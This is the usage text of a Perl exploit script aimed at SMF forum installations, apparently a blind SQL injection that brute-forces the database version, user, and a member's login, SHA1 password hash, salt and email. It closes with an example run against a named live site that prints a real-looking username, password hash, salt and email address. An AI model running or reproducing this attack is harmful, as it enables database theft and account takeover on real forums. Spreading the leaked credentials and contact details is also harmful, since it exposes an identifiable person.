-------------------------------------------------------------------------
 usage:
     expl.pl http://site.com/smf/index.php ID_MEMBER TABLE_PREF {params}
     params:
        -v = get version()
        -u = get user()
        -d = get database() 
        -an = get User Name  (логин)
        -ap = get User Password (sha1 хеш)
        -as = get User Salt (сальт)
        -am = get User Mail (емейл)
-------------------------------------------------------------------------
 (
    also you can modif script source:
        $SHOW_ALL = 1; == show brute-step result
        $SHOW_COUNT_REQ = 1 == show req's count
        $OPTIMAL = 1 == optimal brute
 )
-------------------------------------------------------------------------
example:
    http://scrubs.net.ru/cms/forum/index.php

    ] Host: scrubs.net.ru
      BAD answer = 'Ошибка'
    ] version() = 5
    ] user() = us5729a@localhost
    ] database() = db
    ] id=1 NAME = zhbanito
    ] id=1 PASS = 4edd40635ac6fd263084d5ccc6fdc624fef3c932
    ] id=1 SALT = fe81
    ] id=1 MAIL = shpioner@mail.ru
